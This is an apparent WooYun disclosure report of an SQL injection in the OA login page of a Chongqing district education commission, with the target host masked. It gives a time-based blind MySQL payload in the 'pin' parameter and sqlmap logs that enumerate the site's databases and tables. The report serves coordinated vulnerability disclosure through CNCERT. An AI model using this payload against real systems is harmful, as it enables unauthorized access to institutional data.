当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0137665

漏洞标题:重庆市某区教育委员会核心系统存在SQL注入

相关厂商:重庆市某区教育委员会

漏洞作者: 路人甲

提交时间:2015-08-30 18:57

修复时间:2015-10-17 10:50

公开时间:2015-10-17 10:50

漏洞类型:设计缺陷/逻辑错误

危害等级:高

自评Rank:15

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-08-30: 细节已通知厂商并且等待厂商处理中
2015-09-02: cncert国家互联网应急中心暂未能联系到相关单位,细节仅向通报机构公开
2015-09-12: 细节向核心白帽子及相关领域专家公开
2015-09-22: 细节向普通白帽子公开
2015-10-02: 细节向实习白帽子公开
2015-10-17: 细节向公众公开

简要描述:

RT

详细说明:

OA系统:http://**.**.**.**/

GET /oa/login/login.jsp?pin=admin&password=admin HTTP/1.1
Host: **.**.**.**:8080
Proxy-Connection: keep-alive
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36
Referer: http://**.**.**.**/
Accept-Encoding: gzip, deflate, sdch
Accept-Language: zh-CN,zh;q=0.8
Cookie: JSESSIONID=4DC9E8C5AC768B299E24AFE2D335E020


pin参数存在MySQL时间注入

sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Parameter: pin (GET)
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: pin=admin' AND (SELECT * FROM (SELECT(SLEEP(5)))fKCF) AND 'lQgV'='lQgV&password=admin
---
[18:34:10] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL 5.0.12

漏洞证明:

数据库:

1png.png


[18:34:10] [INFO] resumed: site
[18:34:10] [INFO] fetching tables for databases: 'cwbb, information_schema, joa, site'
[18:34:10] [INFO] fetching number of tables for database 'joa'
[18:34:10] [WARNING] time-based comparison requires larger statistical model, please wait...........
...................
[18:34:14] [WARNING] it is very important not to stress the network adapter during usage of time-bas
ed payloads to prevent potential errors
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n]
y
1
[18:34:33] [INFO] adjusting time delay to 1 second due to good response times
02
[18:34:37] [INFO] retrieved: 采购目录
[18:36:51] [INFO] retrieved: addr_folder
[18:37:55] [INFO] retrieved: addr_folderuser
[18:38:31] [INFO] retrieved: addr_fser
[18:39:02] [INFO] retrieved: calendar_info
[18:40:17] [INFO] retrieved: calendar_read
[18:40:49] [INFO] retrieved: car_accident
[18:41:47] [INFO] retrieved: car_consume
[18:42:34] [INFO] retrieved: car_driver
[18:43:13] [INFO] retrieved: car_info
[18:43:44] [INFO] retrieved: car_usage
[18:44:16] [INFO] retrieved: clientinfo
[18:45:11] [INFO] retrieved: department
[18:46:11] [INFO] retrieved: dm_budget
[18:46:59] [INFO] retrieved: dm_deptcy
[18:47:44] [INFO] retrieved: dm_flowtype

修复方案:

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:10

确认时间:2015-09-02 10:49

厂商回复:

CNVD确认并复现所述情况,已经转由CNCERT下发给重庆分中心,由其后续协调网站管理单位处置。

最新状态:

暂无